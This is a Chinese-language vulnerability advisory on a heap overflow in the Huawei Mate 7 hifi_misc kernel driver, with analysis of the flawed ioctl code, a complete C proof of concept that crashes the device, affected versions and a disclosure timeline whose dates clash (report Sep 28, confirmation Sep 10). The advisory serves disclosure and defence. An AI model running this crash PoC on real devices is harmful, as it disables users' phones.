Shawn:感谢Pray3r的分享,驱动一直以来都是linux内核的重灾区,要以不断修复bug的方式去防御漏洞几乎是1990年代的方案,另外一方面,作为厂商也应该加大代码审计的投入。这篇分析的英文版已经分享到了DNFWAH Issue 5 上。
By Pray3r
Description
/dev/hifi_misc
是用户空间到内核空间中Hisi 芯片的一个接口,该接口和Hifi相关。我们看到drivers/hisi/hifidsp/hifi_lpp.c
中的代码,攻击者可以在用户空间下,可以使用HIFI_MISC_IOCTL_WRITE_PARAMS
参数,并通过调用ioctl()
执行到该代码路径:
static long hifi_misc_ioctl(struct file *fd, unsigned int cmd, unsigned long arg)
{
[...]
switch(cmd) {
[...]
case HIFI_MISC_IOCTL_WRITE_PARAMS : /* write algo param to hifi*/
ret = hifi_dsp_write_param(arg);
break;
[...]
}
[...]
}
之后,hifi_dsp_write_param()
函数被调用,它的参数来自用户空间:
int hifi_dsp_write_param(unsigned long arg)
{
int ret = OK;
phys_addr_t hifi_param_phy_addr = 0;
void* hifi_param_vir_addr = NULL;
CARM_HIFI_DYN_ADDR_SHARE_STRU* hifi_addr = NULL;
struct misc_io_sync_param para;
[...]
if (copy_from_user(& para, (void*)arg, sizeof(struct misc_io_sync_param))) { // arg --> para
loge("copy_from_user fail.\n");
ret = ERROR;
goto error1;
}
[...]
hifi_param_vir_addr = (unsigned char*)ioremap(hifi_param_phy_addr, SIZE_PARAM_PRIV); // heap alloc
if (NULL == hifi_param_vir_addr) {
loge("hifi_param_vir_addr ioremap fail\n");
ret = ERROR;
goto error2;
}
[...]
ret = copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in); // heap overflow
if ( ret != 0) {
loge("copy data to hifi error! ret = %d", ret);
}
[...]
}
参数arg
是一个结构体指针,指向用户空间的内存。hifi_dsp_write_param()
函数初始化之后,使用copy_from_user()
将用户空间的数据(arg)
拷贝到内核空间中(para)
。注意,它没做任何验证,就将用户空间下的所用的成员变量拷贝到内核空间中。para
结构如下:
struct misc_io_sync_param {
void * para_in;
unsigned int para_size_in;
void * para_out;
unsigned int para_size_out;
};
紧接着,又调用了copy_from_user(hifi_param_vir_addr,
para.para_in, para.para_size_in)
hifi_param_vir_addr
指向一块由ioremap()
分配的堆内存,这块堆内存的大小为SIZE_PARAM_PRIV
(200 * 1024)字节。
para.para_in
指针由用户空间控制,它是存储数据的内存。
para.para_size_in
是一个unsigned int
由用户空间控制,它是para.para_in
的大小。
然而,代码中没有对para.para_in
和para.para_size_in
进行验证,如果para.para_size_in
大于200 * 1024
,例如300 * 1024
,将产生一个堆溢出。PoC如下:
/*
*
* HuaWei Mate7 hifi driver Poc
*
* Writen by pray3r<pray3r.z @ gmail.com >
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys / types.h >
#include <sys / stat.h >
#include <sys / ioctl.h >
#define HIFI_MISC_IOCTL_WRITE_PARAMS _IOWR('A', 0x75, struct misc_io_sync_param)
struct misc_io_sync_param {
void * para_in;
unsigned int para_size_in;
void * para_out;
unsigned int para_size_out;
};
int main(int arg, char **argv)
{
int fd;
void *in = malloc(300 * 1024);
void *out = malloc(100);
struct misc_io_sync_param poc;
poc.para_in = in;
poc.para_size_in = 300 * 1024;
poc.para_out = out;
poc.para_size_out = 100;
fd = open("/dev/hifi_misc", O_RDWR);
ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);
free(in);
free(out);
return 0;
}
执行这个PoC将导致Mate 7崩溃,请注意,该PoC至少需要在audio或system用户下执行,因为/dev/hifi_misc
在audio和system用户下才有可写的权限。
Impact
给para.para_size
设置一个很大的值,手机会崩溃,但是想利用这个漏洞提权是非常困难的,因为在ioremap()
[1]的实现调用了get_vm_area_node()
,这个函数总是会设置PAGE_SIZE大小的保护页。
感谢Dan Rosenberg的指点。[2]
Affected
Model : HUAWEI MT7-TL10
Version : MT7-TL10V100R001CHNC00B133
Android : 4.4.2
Kernel : 3.10.30-00015-g049a08f
其它类似的华为手机可能也受影响。
Patch
参考华为官网的信息:
http://www1.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-460347.htm
TimeLine
Sep 28 2015 - Report sent to Huawei PSIRT
Sep 10 2015 - Huawei confirmed the security issues
Nov 04 2015 - Huawei fixed and public the security issues
Nov 09 2015 - Update CVE number
Reference
[1]. http://lxr.free-electrons.com/source/mm/vmalloc.c#L1351
[2]. http://seclists.org/oss-sec/2015/q4/532